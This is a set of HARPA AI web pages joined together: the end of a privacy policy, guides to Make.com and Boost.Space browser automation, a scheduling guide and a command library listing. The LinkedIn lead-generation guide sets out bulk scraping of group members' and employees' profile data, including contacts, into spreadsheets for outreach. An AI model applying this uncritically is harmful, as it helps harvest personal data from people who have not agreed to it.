your data: * We encrypt all client-server communication using SSL. * We encrypt data in our database.\* We do not store your HARPA account passwords in plain text but salted hash values. * We implement access control procedures to ensure only authorized personnel (DevOps & DBA) have access to sensitive data. * We only collect and store the data that is necessary for HARPA to function, we limit the amount of personal data we store. * We automatically delete personal data when it is no longer needed (e.g. when you delete your account with us). [#](https://harpa.ai/privacy#your-data-protection-rights-under-general-data-protection-regulation-(gdpr))  Your Data Protection Rights Under General Data Protection Regulation (GDPR) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- If you are a resident of the European Union (EU) and European Economic Area (EEA), you have certain data protection rights, covered by GDPR. See more at https://eur-lex.europa.eu/eli/reg/2016/679/oj We aim to take reasonable steps to allow you to correct, amend, delete, or limit the use of your Personal Data. If you wish to be informed what Personal Data we hold about you and if you want it to be removed from our systems, please email us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . In certain circumstances, you have the following data protection rights: * the right to access, update or to delete the information we have on you; * the right of rectification. You have the right to have your information rectified if that information is inaccurate or incomplete; * the right to object. You have the right to object to our processing of your Personal Data; * the right of restriction. You have the right to request that we restrict the processing of your personal information; * the right to data portability. You have the right to be provided with a copy of your Personal Data in a structured, machine-readable and commonly used format; * the right to withdraw consent. You also have the right to withdraw your consent at any time where we rely on your consent to process your personal information; Please note that we may ask you to verify your identity before responding to such requests. Please note, we may not able to provide Service without some necessary data. You have the right to complain to a Data Protection Authority about our collection and use of your Personal Data. For more information, please contact your local data protection authority in the European Economic Area (EEA). [#](https://harpa.ai/privacy#your-data-protection-rights-under-the-california-privacy-protection-act-(caloppa))  Your Data Protection Rights under the California Privacy Protection Act (CalOPPA) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- CalOPPA is the first state law in the United States to require commercial websites and online services to post a privacy policy. The law’s reach stretches well beyond California to require a person or company in the United States (and conceivable the world) that operates websites collecting personally identifiable information from California consumers to post a conspicuous privacy policy on its website stating exactly the information being collected and those individuals with whom it is being shared, and to comply with this policy. See more at: https://consumercal.org/about-cfc/cfc-education-foundation/california-online-privacy-protection-act-caloppa-3/ According to CalOPPA we agree to the following: * users can visit our site anonymously; * our Privacy Policy link includes the word “Privacy”, and can easily be found on the page specified above on the home page of our website; * users will be notified of any privacy policy changes on our Privacy Policy Page; * users are able to change their personal information by emailing us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . Our Policy on “Do Not Track” Signals: We honor Do Not Track signals and do not track, plant cookies, or use advertising when a Do Not Track browser mechanism is in place. Do Not Track is a preference you can set in your web browser to inform websites that you do not want to be tracked. You can enable or disable Do Not Track by visiting the Preferences or Settings page of your web browser. [#](https://harpa.ai/privacy#service-providers)  Service Providers ------------------------------------------------------------------ We may employ third party companies and individuals to facilitate our Service (“Service Providers”), provide Service on our behalf, perform Service-related services or assist us in analysing how our Service is used. These third parties have access to your Personal Data only to perform these tasks on our behalf and are obligated not to disclose or use it for any other purpose. [#](https://harpa.ai/privacy#analytics)  Analytics -------------------------------------------------- We may use third-party Service Providers to monitor and analyze the use of our Service. * **Google Analytics**. Google Analytics is a web analytics service offered by Google that tracks and reports website traffic. Google uses the data collected to track and monitor the use of our Service. This data is shared with other Google services. Google may use the collected data to contextualise and personalise the ads of its own advertising network. * For more information on the privacy practices of Google, please visit the Google Privacy Terms web page: https://policies.google.com/privacy?hl=en. We also encourage you to review the Google’s policy for safeguarding your data: https://support.google.com/analytics/answer/6004245. * **Mixpanel**. Mixpanel is a web analytics service offered by Mixpanel that tracks and reports website traffic. Mixpanel uses the data collected to track and monitor the use of our Service. This data is shared with other Mixpanel services. * For more information on the privacy practices of Mixpanel, please visit the Mixpanel Privacy Terms web page: https://mixpanel.com/legal/privacy-policy/. In our dedication to uphold stringent data protection standards, we anonymize analytical data we collect. We do not collect, utilize or retain any sensitive personal data for analytical purposes. [#](https://harpa.ai/privacy#payments)  Payments ------------------------------------------------ We may provide paid products and/or services within Service. In that case, we use third-party services for payment processing (e.g. payment processors). We will not store or collect your payment card details. That information is provided directly to our third-party payment processors whose use of your personal information is governed by their Privacy Policy. These payment processors adhere to the standards set by PCI-DSS as managed by the PCI Security Standards Council, which is a joint effort of brands like Visa, Mastercard, American Express and Discover. PCI-DSS requirements help ensure the secure handling of payment information. The payment processors we work with are: * **PayPal or Braintree:** Their Privacy Policy can be viewed at https://www.paypal.com/webapps/mpp/ua/privacy-full * **FastSpring:** Their Privacy Policy can be viewed at http://fastspring.com/privacy/ [#](https://harpa.ai/privacy#links-to-other-sites)  Links to Other Sites ------------------------------------------------------------------------ Our Service may contain links to other sites that are not operated by us. If you click a third party link, you will be directed to that third party’s site. We strongly advise you to review the Privacy Policy of every site you visit. We have no control over and assume no responsibility for the content, privacy policies or practices of any third party sites or services. [#](https://harpa.ai/privacy#children%E2%80%99s-privacy)  Children’s Privacy ---------------------------------------------------------------------------- Our Services are not intended for use by children under the age of 18 (“Children”). We do not knowingly collect personally identifiable information from Children under 18. If you become aware that a Child has provided us with Personal Data, please contact us. If we become aware that we have collected Personal Data from Children without verification of parental consent, we take steps to remove that information from our servers. [#](https://harpa.ai/privacy#changes-to-this-privacy-policy)  Changes to This Privacy Policy -------------------------------------------------------------------------------------------- We may update our Privacy Policy from time to time. We will notify you of any changes by posting the new Privacy Policy on this page. We will let you know via email and/or a prominent notice on our Service, prior to the change becoming effective and update “effective date” at the top of this Privacy Policy. You are advised to review this Privacy Policy periodically for any changes. Changes to this Privacy Policy are effective when they are posted on this page. [#](https://harpa.ai/privacy#contact-us)  Contact Us ---------------------------------------------------- Please send your feedback, comments, requests for technical support by email: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LinkedIn Lead Generation & Data Enrichment with Make.com [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) LinkedIn Lead Generation & Data Enrichment with Make.com ======================================================== CONTENTS [\#](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment#features-of-this-lead-generation-workflow) Features of this Lead Generation Workflow ------------------------------------------------------------------------------------------------------------------------------------------------------------- In this guide, we'll show you a Make.com workflow that gathers leads from LinkedIn Groups and builds your database by extracting information from user profiles. Alternatively, you can extract Company Employees or profiles from LinkedIn Search results. The final result is a Google Sheet containing all the collected data. Having a large list of leads from a relevant field empowers you to: * **Enhance CRM Data Quality**: Enrich existing LinkedIn profiles in your CRM with detailed user data, optimizing marketing strategies and maximizing ROI. * **Generate Personalized Outreach DMs**: Target decision-makers to significantly enhance engagement rates and conversion potential for B2B companies. * **Conduct Market Research**: Gain insights into market trends and customer preferences, enabling data-driven decisions that boost sales. * **Engage in Recruitment**: Identify top talent in niche LinkedIn Groups, speeding up hiring processes and reducing costs. * **Perform Sales Prospecting**: Create targeted prospect lists that align with your ideal customer profiles, improving deal closure rates. Personalizing this HARPA GRID + Make.com automated workflow streamlines your processes and delivers measurable returns by optimizing lead generation, recruitment, and data management. [\#](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment#pre-built-make.com-automation-templates) Pre-built Make.com automation templates --------------------------------------------------------------------------------------------------------------------------------------------------------- 1. Click the links below to find all scenarios with pre-filled data and selected modules. * [Search Results Export](https://eu1.make.com/templates/13751?templatePublicId=13751) * [Group Members Export](https://eu1.make.com/templates/13750?templatePublicId=13750) * [Company Employees Export](https://eu1.make.com/templates/13751?templatePublicId=13751) 2. Follow the guided setup to quickly configure all key settings. If you have questions about creating a similar scenario for your custom needs, check the guide below to understand how everything works. ### [\#](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment#requirements:) Requirements: 1. LinkedIn account and membership in the group you want to scrape user data from. 2. Import these two commands from the [Command Library](https://harpa.ai/library) : * [LinkedIn Group Members Export](https://harpa.ai/library/linked-in-group-members-export/6770460ce1e198d456caaec1) - Exports up to 2,000 members from any LinkedIn group you belong to. * [LinkedIn Profile Scraper](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) - Scrapes all available data from LinkedIn profiles, including contacts, education, experience etc. **Alternatively, replace the LinkedIn Group Members Export command with one of these:** * [LinkedIn Company Employees Export](https://harpa.ai/library/linked-in-company-employees-export/6777c55503f75a52e5c5b773) . * [LinkedIn Search Results Export](https://harpa.ai/library/linked-in-search-results-export/6777c9ee03f75a52e5c63f0e) . 3. Complete the basic HARPA & Make.com setup: * Sign up for Make.com. * Set up an active [HARPA GRID Node](https://harpa.ai/grid/browser-automation-node-setup) . * Configure the [HARPA API Connection](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#harpa-api-connection) in Make.com. [\#](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment#creating-and-running-a-custom-scenario) Creating and Running a custom Scenario ------------------------------------------------------------------------------------------------------------------------------------------------------- 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "+" and add a **HARPA: Run AI Command** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-8.webp) 3. Configure your module: * Select your connection and paste the command name **LinkedIn Group Members Export**. If you haven't downloaded it yet, you can get it [here](https://harpa.ai/library/linked-in-group-members-export/6770460ce1e198d456caaec1) . * Enter the command inputs, e.g.: enter "150" for the number of users and "DONE" to complete the command. You can test the command first to understand which inputs you need. * Open your LinkedIn group's member list and copy the URL into the module. Group URLs usually look like: [https://www.linkedin.com/groups/123456/members/](https://www.linkedin.com/groups/123456/members/) * Enter the parameter name that will store the user list. In our example, it's '**json**'. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-1.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) The default command timeout is set to 5 min or 3000000 ms. If you plan to extract a large number of profiles, increase this time based on your needs. 4. Run the module to check it. **Tip:** You can set "5" as the first input - this will make the command run faster while you continue building the scenario. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-2.webp) Once you get the data array results successfully, move on to the next step. 5. Let's add the next module - **Iterator**. This will help process each profile in the data array one by one. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-3.webp) 6. In the Iterator settings, drag the array element containing our previous parsing results. **Note:** You need the full array containing all the data, not specific fields like link or name. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-4.webp) 7. Add the **HARPA: Run AI Command** module to your scenario and configure it: * Select your connection and paste the command name **LinkedIn Profile Scraper**. If you haven't downloaded it yet, get it [here](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) . * Drag the "**link**" element from the previous module into the "**URL**" field. This means the Iterator will go through the data array, sending each Link to be processed by the HARPA AI Command. * Enter the parameter name that will store user data. Use '**profile**'. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-5.webp) 8. Test your scenario to make sure all modules are working. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-6.webp) Once each module runs successfully one time, you can stop - no further testing is needed. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-7.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) We now have a scenario that collects new LinkedIn leads and gathers data from their profiles. You can send this data to your Database, CRM, Google Sheets or other storage, and add more HARPA AI Commands to generate personalized DMs for each user. 9. Add the **Google Sheets: Add a Row** module. If you have never used Google Sheets with Make.com before, you need to create a connection. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-8.webp) 10. Open your Google Drive and create a spreadsheet in Google Sheets to store the extracted data. Of course, it's possible to set up automatic creation of Google Sheets, but that would only complicate this explanation. ![](https://harpa.ai/img/guides/harpa-make-com-19.webp) Name the Google Sheets file and add column headers in the first row: Name, URL, Location, Status, About, Experience, Education, Language, Contact. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-9.webp) 11. Go back to Make.com and select your file by name in the Google Sheets module. Choose the Sheets page and drag data from the previous HARPA module into the appropriate columns for storage. ![](https://harpa.ai/img/grid/linkedin-grid-scenario-10.webp) Your Lead Generation scenario is ready - you can now save and test it. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/linkedin-automated-networking-stratagy) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/wordpress-daily-content-automation) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Boost.Space Web Automation with HARPA [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Boost.Space Web Automation with HARPA ===================================== CONTENTS ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Contact us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) for assistance with HARPA GRID API setup, integration, or to discuss your business needs. [\#](https://harpa.ai/grid/boost-space-connection-guide#boost.space-web-automation-with-harpa) Boost.Space Web Automation with HARPA ------------------------------------------------------------------------------------------------------------------------------------- You can automate Web Scrapping, Web Search and AI Agents in Boost.Space using [Official HARPA AI GRID App](https://boost.space/integrations/harpa-ai/) for Boost Space. ![icon](https://harpa.ai/icon/lines/education/atom-02.svg) Boost Space allows pairing HARPA GRID with other powerful tools such as Slack, Google Drive, Hunter.io, GoogleSheets, Airtable, Mailgun etc. to create multi-step no-code marketing automation workflows, web scraping, data enrichment and lead generation systems. To setup AI browser automation in Boost.Space with HARPA GRID, please follow these steps: 1. Activate your [HARPA GRID Node](https://harpa.ai/grid/browser-automation-node-setup) . 2. [Sign up](https://gate.boost.space/) for Boost.Space. ### [\#](https://harpa.ai/grid/boost-space-connection-guide#connect-harpa-to-boost.space) Connect HARPA to Boost.Space Create a New Space in Boost.Space: ![](https://harpa.ai/img/grid/boost-space-integration-01.webp) In your new space, select either a _HARPA GRID Trigger_ as a starting module or a _HARPA GRID Action_ as an ending module: ### [\#](https://harpa.ai/grid/boost-space-connection-guide#harpa-grid-triggers) HARPA GRID Triggers Go to the **Connect** or **Flow** tab at the top to start adding connecting modules. 1. Click **New Data Source** to add the HARPA AI Trigger module: ![](https://harpa.ai/img/grid/boost-space-integration-02.webp) 2. Select HARPA AI from the search results: ![](https://harpa.ai/img/grid/boost-space-integration-03.webp) 3. Choose a Trigger, such as [Watch Action Result](https://harpa.ai/grid/module-on-action-result) or [Web Monitor Result](https://harpa.ai/grid/module-on-web-monitor) , which will wait for HARPA to send data to Boost.Space. ![](https://harpa.ai/img/grid/boost-space-integration-04.webp) 4. Configure the remaining data storage options based on your needs. The Make.com window will open where you can test the HARPA to Boost.Space connection module. ![](https://harpa.ai/img/grid/boost-space-integration-05.webp) In the HARPA Module, click **Create a Webhook**, name it, and copy the Webhook URL. You'll need to paste this URL into either the Request Step of your custom HARPA command or the corresponding field in [Web Monitor Results Trigger](https://harpa.ai/grid/module-on-web-monitor) during setup. Here's a [guide](https://harpa.ai/guides/sending-command-results-to-make-com.) on how to send any AI command results via webhook. ![](https://harpa.ai/img/grid/boost-space-integration-06.webp) 5. After copying the webhook to HARPA, run your command or monitoring to test the module and verify data transmission to Boost.Space. ### [\#](https://harpa.ai/grid/boost-space-connection-guide#harpa-grid-actions) HARPA GRID Actions Go to the **Share** or **Flow** tab to start using data sharing modules. 1. Click **New Data Share** to add the HARPA AI Action module: ![](https://harpa.ai/img/grid/boost-space-integration-07.webp) 2. Select HARPA AI App from the search results: ![](https://harpa.ai/img/grid/boost-space-integration-03.webp) 3. Pick an Action from the module list: * [Run AI Command](https://harpa.ai/grid/module-run-ai-command) * [Scrape Webpage Data](https://harpa.ai/grid/module-scrape-web-page) * [Search the Web](https://harpa.ai/grid/module-search-the-web) 4. The Make.com window opens where you can test your scenario. 5. If this is your first time adding a HARPA AI Action module, you'll need to [set up the connection](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#connect-harpa-to-make.com) : * Click the HARPA Module * Click **Create Connection** * Name your connection * Open your **HARPA Chrome Extension** in any tab > Go to **AUTOMATE** Tab > Create and copy your **API Key** to the Make.com module * Save your connection 6. Test your scenario. [\#](https://harpa.ai/grid/boost-space-connection-guide#boost.space-&-harpa-grid-use-cases) Boost.Space & HARPA GRID Use Cases ------------------------------------------------------------------------------------------------------------------------------- Boost.Space's HARPA API use cases are similar to Make.com, but since Boost.Space focuses on databases, contacts, and promotion campaigns, these scenarios may be easier to implement than in Make.com. You can try these approaches, adapting them from Make.com to Boost.Space: 1. [LinkedIn Lead Generation & Data Enrichment](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) - Get leads from LinkedIn Groups, enhance profile data, and save to Google Sheets. 2. [Enrich your existing database](https://harpa.ai/grid/lead-database-enrichment) and store it in Google Sheets, your CRM or other databases. Use AI to create personalized emails for automated outreach. 3. [Keep an Eye on Your Competitor 24/7](https://harpa.ai/grid/module-on-webpage-monitor) . Start Make.com automation whenever new web content appears. 4. [Extract data from websites](https://harpa.ai/grid/web-search-and-scraping) and send to Google Sheets, or save as CSV / JSON. Use this to gather potential client emails from search results and collect website data. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/wordpress-1-click-post-draft) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/zapier-integration) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Schedule AI Commands [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/time/clock-refresh.svg) Schedule AI Commands ==================== CONTENTS NAVIGATE With HARPA X and S plans, AI commands can be scheduled in Automation tab. Using Command Scheduling requires a basic understanding of [Custom Commands](https://harpa.ai/guides/guides/custom-page-aware-chatgpt-commands) & [Parameters](https://harpa.ai/chatml/parameters) . [\#](https://harpa.ai/guides/schedule-ai-commands#how-to-schedule-ai-commands) How to Schedule AI Commands ----------------------------------------------------------------------------------------------------------- 1. Open HARPA AI on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) or **^+A** (on Mac). 2. Make sure you are [logged into HARPA AI](https://harpa.ai/account/settings) and activated the [HARPA X or S plan](https://harpa.ai/pricing) . 3. Open the **AUTOMATE** tab on the top, you will be presented with a list of possible automations - click "**Run AI command**". ![](https://harpa.ai/img/guides/command-scheduling-1.webp) 4. From this screen you can configure the following settings: ![](https://harpa.ai/img/guides/command-scheduling-2.webp) * **WEB PAGE** * Specify the website address where the automation will run. ![](https://harpa.ai/img/guides/command-scheduling-3.webp) * **AI COMMAND** * Select the Command to Run from the list. * Select a parameter that will be displayed as the result on the Automate Tab; in the given example, it's the parameter responsible for the number of processed emails. * Choose the CloudGPT connection type and the command execution time limit. ![](https://harpa.ai/img/guides/command-scheduling-4.webp) * **BEFORE RUN** (Optional) * Configure criteria for when the page is "loaded" and conditions to run the command, like text appearing, blocking banners, or scrolling. ![](https://harpa.ai/img/guides/command-scheduling-5.webp) * **USER AGENT** (Optional) * Set the user device emulator and force its language. ![](https://harpa.ai/img/guides/command-scheduling-6.webp) * **SCHEDULE** * Set the Command Run Frequency, browser window type (Tab, Pinned Tab, Hidden Frame), and enable or disable the Auto-Close option. * Most commands work best with Tabs + Auto-Close option. ![](https://harpa.ai/img/guides/command-scheduling-7.webp) 5. Finally, hit the START button, and you're all set with your Command Scheduling! ![](https://harpa.ai/img/guides/command-scheduling-8.webp) ### [\#](https://harpa.ai/guides/schedule-ai-commands#automations-dashboard) Automations Dashboard You can always see how your Commands and Monitors perform by navigating to the **HARPA Automations Dashboard** at https://app.harpa.ai/. ![](https://harpa.ai/img/guides/command-scheduling-9.webp) [\#](https://harpa.ai/guides/schedule-ai-commands#links-for-further-reading) Links for further reading ------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Billing Issues](https://harpa.ai/guides/billing-issues) * [Bug Reports](https://harpa.ai/guides/helpful-bug-reports) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/editing-pre-defined-commands) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/team-spaces) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Automation Library [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER [Automation Library](https://harpa.ai/library) Find ready-to-use automations. Or create and [publish your own](https://harpa.ai/guides/command-library) . Commands By HARPA AI [View all](https://harpa.ai/library/official) [🤖\ \ Deep Research Bot\ \ Performs an in-depth online research to answer user queries. Split questions into sub-queries for deeper scans.\ \ HARPA AI\ \ 503\ \ 32](https://harpa.ai/library/deep-research-bot/6728a0a922b006c16f7f44e5) [📤\ \ Respond to Email\ \ Reply to emails in one click in your tone of voice. Launch on GMail, ProtonMail, Outlook, FastMail.\ \ HARPA AI\ \ 458\ \ 29](https://harpa.ai/library/respond-to-email/6728a0e322b006c16f7f4836) [♻️\ \ Telegram, WhatsApp & Discord summary\ \ Summarizes Telegram, WhatsApp or Discord chat messages within a specified amount, helping to quickly grasp the main essence of the discussion. Writes response drafts if required.\ \ HARPA AI\ \ 400\ \ 24](https://harpa.ai/library/telegram%2C-whats-app-%26-discord-summary/672b88ba30c666cf8e869d4f) [🔗\ \ LinkedIn Auto Search & Connect\ \ Automatically sends LinkedIn connection requests. First, search and filter for the people you're interested in. Then run this command on the results page to send connection requests. #make #grid #linkedin\ \ HARPA AI\ \ 374\ \ 23](https://harpa.ai/library/linked-in-auto-search-%26-connect/679cfa1e202cae245c3e252c) [🔗\ \ Extracts YouTube Links\ \ Extracts video links from a YouTube channel.\ \ HARPA AI\ \ 363\ \ 27](https://harpa.ai/library/extracts-you-tube-links/6728a0c222b006c16f7f4645) [📚\ \ WordPress Content Generator (via Webhook)\ \ Uses the web page content to write a WordPress-ready blog post in JSON format and sends it to Make.com.\ \ HARPA AI\ \ 351\ \ 25](https://harpa.ai/library/word-press-content-generator-(via-webhook)/6728a10f22b006c16f7f4a84) [🔍\ \ LinkedIn Search Results Export\ \ Export LinkedIn Profiles from search results. First, search and filter for the people you're interested in. Then, run this command on the search results page to extract their data. #make #grid #linkedin\ \ HARPA AI\ \ 308\ \ 20](https://harpa.ai/library/linked-in-search-results-export/6777c9ee03f75a52e5c63f0e) [🤖\ \ RUN AI PROMPT FROM API\ \ Run any prompt with any AI connection (ChatGPT / Claude / Gemini) using a GRID API, Make.com, Zapier etc.\ \ HARPA AI\ \ 305\ \ 13](https://harpa.ai/library/run-ai-prompt-from-api/6864254c439b56c5887477a4) [💊\ \ Template-Based Support Email Response Generator\ \ Acts as a customer support agent who answers questions using response templates that you provided as examples. #grid #make #email\ \ HARPA AI\ \ 302\ \ 22](https://harpa.ai/library/template-based-support-email-response-generator/679d1b3a202cae245c437fbc) Popular Community Commands [View all](https://harpa.ai/library/community) [💡\ \ Pareto Principle (80/20 rule) Summarizer\ \ A versatile prompt that applies the 80/20 rule to extract essential knowledge from any text or topic, providing structured learning guidance.\ \ Prompt Garden\ \ 374\ \ 21](https://harpa.ai/library/pareto-principle-(80%2F20-rule)-summarizer/672e3fa62a8a03fd59c551b4) [🧩\ \ Twitter Thread Extraction\ \ Extracts the original Tweet and all replies from Twitter posts. Use this command on a single Tweet page. #extraction\ \ Adrian Larsson\ \ 217\ \ 11](https://harpa.ai/library/twitter-thread-extraction/6728a3fe22b006c16f7f7580) [👩‍⚕️\ \ AI Psychotherapist v 1.4\ \ AI Psychotherapist utilizing various methods. Conversations are stored confidentially. You can pause and resume your session at any time.\ \ Synaptic\ \ 204\ \ 5](https://harpa.ai/library/ai-psychotherapist-v-14/674495359bcfff35d140ff73) [📦\ \ LinkedIn Group Members Export\ \ Exports up to 2,000 members from any LinkedIn group you belong to. To begin, open any LinkedIn group, join it and navigate to the members list page. #make #grid #linkedin\ \ Mei-Ling Zhang\ \ 202\ \ 14](https://harpa.ai/library/linked-in-group-members-export/6770460ce1e198d456caaec1) [🧬\ \ Instagram Data Extraction v1\ \ Extracts Instagram follower and following profiles, saving it as JSON with names and profile links. #instagram #json\ \ Bohdan Kovtunenko\ \ 201\ \ 7](https://harpa.ai/library/instagram-data-extraction-v1/672b93f030c666cf8e87b16f) [😄\ \ Roast my Profile\ \ AI's non-expert review of your social media. A soulless machine bluntly shares its thoughts about you. Requires AI Vision.\ \ Synaptic\ \ 200\ \ 10](https://harpa.ai/library/roast-my-profile/672e3d392a8a03fd59c51b72) [✍️\ \ Proofreader & Editor\ \ Writes a quick summary of what is your text about, then everything that was 'wrong' with your draft, and then gives a revised version.\ \ Charlotte Edwards\ \ 196\ \ 12](https://harpa.ai/library/proofreader-%26-editor/675b349177626e6e0b4660de) [📚\ \ Lecture Note Style Summary v2\ \ Convenient note generator for different lecture formats (Text or YouTube videos), formats formulas and code well.\ \ Sophie Dubois\ \ 195\ \ 8](https://harpa.ai/library/lecture-note-style-summary-v2/672e3c5f2a8a03fd59c507d5) [✳️\ \ EEAT WebPage Analysis v3\ \ Run this command to analyze webpage content according to Google's EEAT guidelines and get detailed scoring with improvement recommendations. #SEO #EEAT #GOOGLE\ \ Adrian Larsson\ \ 194\ \ 13](https://harpa.ai/library/eeat-web-page-analysis-v3/672e45282a8a03fd59c5cd54) [❤️\ \ Instagram Like Machine v2.1\ \ Automatic like machine that LOOPs over lists of #hashtags or @usernames. Command saves already processed photos and settings, making runs more effective. #instagram\ \ Bohdan Kovtunenko\ \ 189\ \ 17](https://harpa.ai/library/instagram-like-machine-v21/672b8c6b30c666cf8e86f89b) [📚\ \ YouTube Language Studying v1.1\ \ Helps learn any language by watching videos in that language. extracts key phrases and translates them into your selected language.\ \ Visioncraft\ \ 186\ \ 11](https://harpa.ai/library/you-tube-language-studying-v11/6751bff804c311a2fbd7661d) [💼\ \ LinkedIn Profile Scraper\ \ Scrapes all the available data from LinkedIn profiles, including 